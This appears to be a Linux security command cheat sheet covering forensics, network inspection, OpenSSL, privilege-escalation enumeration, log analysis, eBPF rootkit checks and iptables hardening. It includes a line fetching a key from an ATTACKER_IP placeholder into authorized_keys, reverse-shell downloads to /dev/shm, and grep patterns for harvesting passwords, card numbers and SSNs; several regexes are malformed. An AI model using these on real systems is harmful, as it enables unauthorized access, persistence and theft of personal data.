Useful Linux Commands

Linux Security Commands Reference

A comprehensive collection of Linux commands for security professionals, incident responders, and system administrators.

Quick Start

What do you need to do?

• 🔍 Find vulnerabilities: SUID/SGID files, writable directories, recent files
• 📊 Analyze logs: journalctl queries, grep patterns for sensitive data
• 🌐 Network investigation: lsof, iptables, nmap scripts
• 🔐 Extract data: passwords, hashes, emails, credit cards, SSNs
• 🛡️ System hardening: iptables rules, file permissions
• 🧪 File forensics: base64, xxd, dd, compression
• 🎯 eBPF analysis: bpftool for rootkit detection

File Operations & Forensics

Encoding/Decoding

# Base64 encode (no line wrapping)
base64 -w 0 file

# Base64 decode
echo "CIKUmMesGw==" | base64 -d

# Hex dump without newlines
xxd -p boot12.bin | tr -d '\n'

# Echo without newline
echo -n -e "string"

File Counting & Sorting

# Count lines, characters, words
wc -l <file>      # Lines
wc -c <file>      # Characters
wc -w <file>      # Words

# Sort numerically (reverse)
sort -nr file

# Sort and remove duplicates
cat file | sort | uniq

File Modification

# Replace string in file (in-place)
sed -i 's/OLD/NEW/g' path/file

# Set immutable bit (file cannot be modified/deleted)
sudo chattr +i file.txt
sudo chattr -i file.txt  # Remove immutable bit

Binary Operations

# Copy file skipping first N bytes
dd if=file.bin bs=28 skip=1 of=blob

# Download to RAM (volatile, disappears on reboot)
wget URL -O /dev/shm/.rev.py
curl URL -o /dev/shm/shell.py

Compression

# Extract archives
tar -xvzf file.tgz      # gzip
tar -xvjf file.tbz      # bzip2
gunzip file.gz
unzip file.zip
7z -x file.7z
unxz file.xz            # xz (install xz-utils first)

# Compress
bzip2 -d file.bz2       # Decompress bzip2

Network Investigation

Process Network Activity (lsof)

# All open files by any process
lsof

# Files used by specific process
lsof -p 3

# Network files only
lsof -i

# IPv4 network files
lsof -i 4

# IPv6 network files
lsof -i 6

# Specific process + IPv4
lsof -i 4 -a -p 1234

# Files in directory used by processes
lsof +D /lib

# Port 80 listeners
lsof -i :80

# Deleted but still open files
lsof +L1

# Alternative for deleted files
find /proc/[0-9]*/fd -lname '*deleted*' 2>/dev/null

Process File Descriptors

# List FDs for a process
ls -l /proc/<PID>/fd

# Resolve what an FD points to
readlink /proc/<PID>/fd/<FD>

# Read through open FD (if permissions allow)
cat /proc/<PID>/fd/<FD>

# Check proc mount options (hidepid hardens visibility)
grep " /proc " /proc/mounts

HTTP Servers

# Python 2
python -m SimpleHTTPServer 80

# Python 3
python3 -m http.server 80

# Ruby
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"

# PHP
php -S $ip:80

Curl Operations

# POST JSON data
curl --header "Content-Type: application/json" \
  --request POST \
  --data '{"password":"password", "username":"admin"}' \
  http://host:3000/endpoint

# GET with JWT auth
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint

# Download file
curl URL -o output_file

SSH Key Operations

# Scan SSH keys from host (compare if multiple ports from same host)
ssh-keyscan 10.10.10.101

# Add public key to authorized_keys
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys

OpenSSL Commands

# Get certificate from server
openssl s_client -connect 10.10.10.127:443

# Read certificate
openssl x509 -in ca.cert.pem -text

# Generate RSA key
openssl genrsa -out newuser.key 2048

# Generate CSR from key
openssl req -new -key newuser.key -out newuser.csr

# Create self-signed certificate
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

# Sign certificate with CA
openssl x509 -req -in newuser.csr \
  -CA intermediate.cert.pem \
  -CAkey intermediate.key.pem \
  -CAcreateserial \
  -out newuser.pem -days 1024 -sha256

# Create PKCS12 (for Firefox)
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem

# Decrypt encrypted SSH key
openssl rsa -in key.ssh.enc -out key.ssh

# Decrypt AES256 file
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz

Vulnerability Enumeration

Find SUID/SGID Files

# SUID files (can be exploited for privilege escalation)
find / -perm /u=s -ls 2>/dev/null

# SGID files
find / -perm /g=s -ls 2>/dev/null

Find Writable Directories

# Writable directories (depth 10)
find / -type d -maxdepth 10 -writable \
  -printf "%T@ %Tc | %p \n" 2>/dev/null | \
  grep -v "| /proc" | grep -v "| /dev" | \
  grep -v "| /run" | grep -v "| /var/log" | \
  grep -v "| /boot" | grep -v "| /sys/" | \
  sort -n -r

# Owned by current user
find / -maxdepth 10 -user $(id -u) \
  -printf "%T@ %Tc | %p \n" 2>/dev/null | \
  grep -v "| /proc" | grep -v "| /dev" | \
  grep -v "| /run" | grep -v "| /var/log" | \
  grep -v "| /boot" | grep -v "| /sys/" | \
  sort -n -r

# Owned by current group
find / -maxdepth 10 -group $(id -g) \
  -printf "%T@ %Tc | %p \n" 2>/dev/null | \
  grep -v "| /proc" | grep -v "| /dev" | \
  grep -v "| /run" | grep -v "| /var/log" | \
  grep -v "| /boot" | grep -v "| /sys/" | \
  sort -n -r

Find Recent Files

# Files modified between dates
find / -newermt 2018-12-12 ! -newermt 2018-12-14 \
  -type f -readable \
  -not -path "/proc/*" -not -path "/sys/*" \
  -ls 2>/dev/null

# Recent files (depth 5)
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | \
  grep -v "| /proc" | grep -v "| /dev" | \
  grep -v "| /run" | grep -v "| /var/log" | \
  grep -v "| /boot" | grep -v "| /sys/" | \
  sort -n -r | less

# Recent files only
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | \
  grep -v "| /proc" | grep -v "| /dev" | \
  grep -v "| /run" | grep -v "| /var/log" | \
  grep -v "| /boot" | grep -v "| /sys/" | \
  sort -n -r | less

# Recent directories only
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | \
  grep -v "| /proc" | grep -v "| /dev" | \
  grep -v "| /run" | grep -v "| /var/log" | \
  grep -v "| /boot" | grep -v "| /sys/" | \
  sort -n -r | less

Find Readable Directories

# Readable directories (depth 4)
find / -type d -maxdepth 4 -readable \
  -printf "%T@ %Tc | %p \n" 2>/dev/null | \
  grep -v "| /proc" | grep -v "| /dev" | \
  grep -v "| /run" | grep -v "| /var/log" | \
  grep -v "| /boot" | grep -v "| /sys/" | \
  sort -n -r

Data Extraction with Grep

Extract Emails

# From single file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt

# From all text files
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt

Extract IP Addresses

# Valid IPv4 addresses
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt

Extract Passwords & Credentials

# Password fields
grep -i "pwd\|passw" file.txt

# User/authentication mentions
grep -i "user\|invalid\|authentication\|login" file.txt

Extract Hashes

# MD5 (32 hex chars)
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | \
  egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt

# SHA1 (40 hex chars)
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{40}([^a-fA-F0-9]|$)' *.txt | \
  egrep -o '[a-fA-F0-9]{40}' > sha1-hashes.txt

# SHA256 (64 hex chars)
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{64}([^a-fA-F0-9]|$)' *.txt | \
  egrep -o '[a-fA-F0-9]{64}' > sha256-hashes.txt

# SHA512 (128 hex chars)
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{128}([^a-fA-F0-9]|$)' *.txt | \
  egrep -o '[a-fA-F0-9]{128}' > sha512-hashes.txt

# MySQL-Old hashes
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt

# Blowfish hashes
grep -e "\$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt

# Joomla hashes
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt

# VBulletin hashes
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt

# phpBB3-MD5
egrep -o '\$H\$S{31}' *.txt > phpBB3-md5.txt

# WordPress-MD5
egrep -o '\$P\$S{31}' *.txt > wordpress-md5.txt

# Drupal 7
egrep -o '\$S\$S{52}' *.txt > drupal-7.txt

# Old Unix-MD5
egrep -o '\$1\$w{8}S{22}' *.txt > md5-unix-old.txt

# MD5-apr1
egrep -o '\$apr1\$w{8}S{22}' *.txt > md5-apr1.txt

# SHA512crypt (Unix)
egrep -o '\$6\$w{8}S{86}' *.txt > sha512crypt.txt

Extract URLs

# HTTP URLs
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt

# All URLs (HTTP, HTTPS, FTP, mailto)
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >"\t]*|www.[-a-z0-9.]+)[^ .,;\t>">):]' *.txt > urls.txt

# For binary files, use:
tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex"
# or
cat -v *.log | egrep -o "Your_Regex"

Extract Credit Cards

# Visa
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt

# MasterCard
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt

# American Express
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt

# Diners Club
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt

# Discover
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt

# JCB
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt

Extract Personal Identifiers

# Social Security Number (SSN)
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt

# US Phone Numbers
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt

# US Passport Number
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt

# US Passport Cards
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt

# Indiana Driver License
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt

# ISBN Numbers
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt

Extract Numbers

# Floating point numbers
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt

Log Analysis (journalctl)

Basic Queries

# List all boots with timestamps
journalctl --list-boots

# Previous boot, errors only
journalctl -b -1 -p err -o short-iso

# Specific time range
journalctl -u nginx.service --since="2025-06-01 01:00" --until="2025-06-01 02:00"

# Live tail with filter
journalctl -u ssh.service -f | grep "Failed password"

# Root user actions (last hour)
journalctl _UID=0 --output=json-pretty --since "1 hour ago"

# Check journal size
journalctl --disk-usage

# Export logs to file
journalctl --no-pager --since="2025-06-01" --until="2025-06-10" > system_logs.log

Cleanup (use carefully!)

# Vacuum journal (take evidence first!)
sudo journalctl --vacuum-size=1G --vacuum-time=7days

Advanced Filters

# Case-sensitive grep
journalctl --grep 'Invalid user' --case-sensitive

# Kernel messages only
journalctl -k

# Stack filters: _PID, _SYSTEMD_UNIT, _HOSTNAME, _TRANSPORT
journalctl _PID=1234 _SYSTEMD_UNIT=nginx.service

eBPF Analysis (Rootkit Detection)

Modern rootkits (TripleCross, BPFDoor) persist as hidden eBPF programs. Use these commands to detect them.

# List all eBPF programs, attach points, PIDs, map IDs
sudo bpftool prog

# Dump translated bytecode for program ID 835
sudo bpftool prog dump xlated id 835 | less

# List all maps
sudo bpftool map show

# Dump map contents (replace 104 with map ID)
sudo bpftool map dump id 104 | hexdump -C

# Check kernel eBPF feature support
sudo bpftool feature probe | less

# Real-time monitoring (TUI)
sudo ebpfmon

What to look for:

• Programs owned by unexpected PIDs
• Unexpected xdp or kprobe attachments
• Unsigned programs in production
• Covert sockets or credentials in map dumps

Firewall (iptables)

Reset Rules

# Flush all rules
iptables --flush

# Delete custom chains
iptables --delete-chain

Basic Hardening

# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# Drop ICMP (ping)
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
iptables -A OUTPUT -p icmp -j DROP

# Allow established connections
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

# Allow SSH from specific subnet
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT

# Allow HTTP/HTTPS
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT

# Allow DNS
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT

# Set default policies
iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT

User Management

Create User

# Add user with password hash
useradd -p 'openssl passwd -1 <Password>' username

Clipboard Operations

# Copy file to clipboard (requires xclip)
xclip -sel c < file.txt

System Utilities

Timezone

# Reconfigure timezone
sudo dpkg-reconfigure tzdata

Package Lookup

# Find which package owns a binary
apt-file search /usr/bin/file
# Install apt-file first: apt-get install apt-file

Mount Virtual Disks

# Install tools
sudo apt-get install libguestfs-tools

# Mount VHD read-only
guestmount --add NAME.vhd --inspector --ro /mnt/vhd
# Create /mnt/vhd first if it doesn't exist

Performance Counters

# Count instructions executed (requires host, not VM)
perf stat -x, -e instructions:u "ls"

Protobuf Decode

# Decode protobuf message
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw

List ZIP Contents

7z l file.zip

Nmap Script Discovery

# Find SMB-related scripts
nmap --script-help "(default or version) and *smb*"

# Alternative: search NSE files
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb

# Get help for specific script category
nmap --script-help "(default or version) and smb"

Quick Reference: Common Patterns

Tips

1. Always redirect errors: Use 2>/dev/null to suppress permission denied errors when searching
2. Filter system paths: Exclude /proc, /sys, /dev, /run, /var/log, /boot when searching
3. Sort by time: Use -printf "%T@ %Tc | %p \n" with sort -n -r for time-sorted results
4. Use RAM for temp files: /dev/shm/ is volatile and disappears on reboot
5. Take evidence before cleanup: Always export logs before running journalctl --vacuum
6. eBPF correlation: Compare bpftool prog output with expected NIC/cgroup attachments
7. Grep binary files: Use cat -v or tr to convert binary before grepping

References

• eBPFmon: A new tool for exploring and interacting with eBPF applications
• How to use the journalctl command to view Linux logs
• HackTricks Linux Privilege Escalation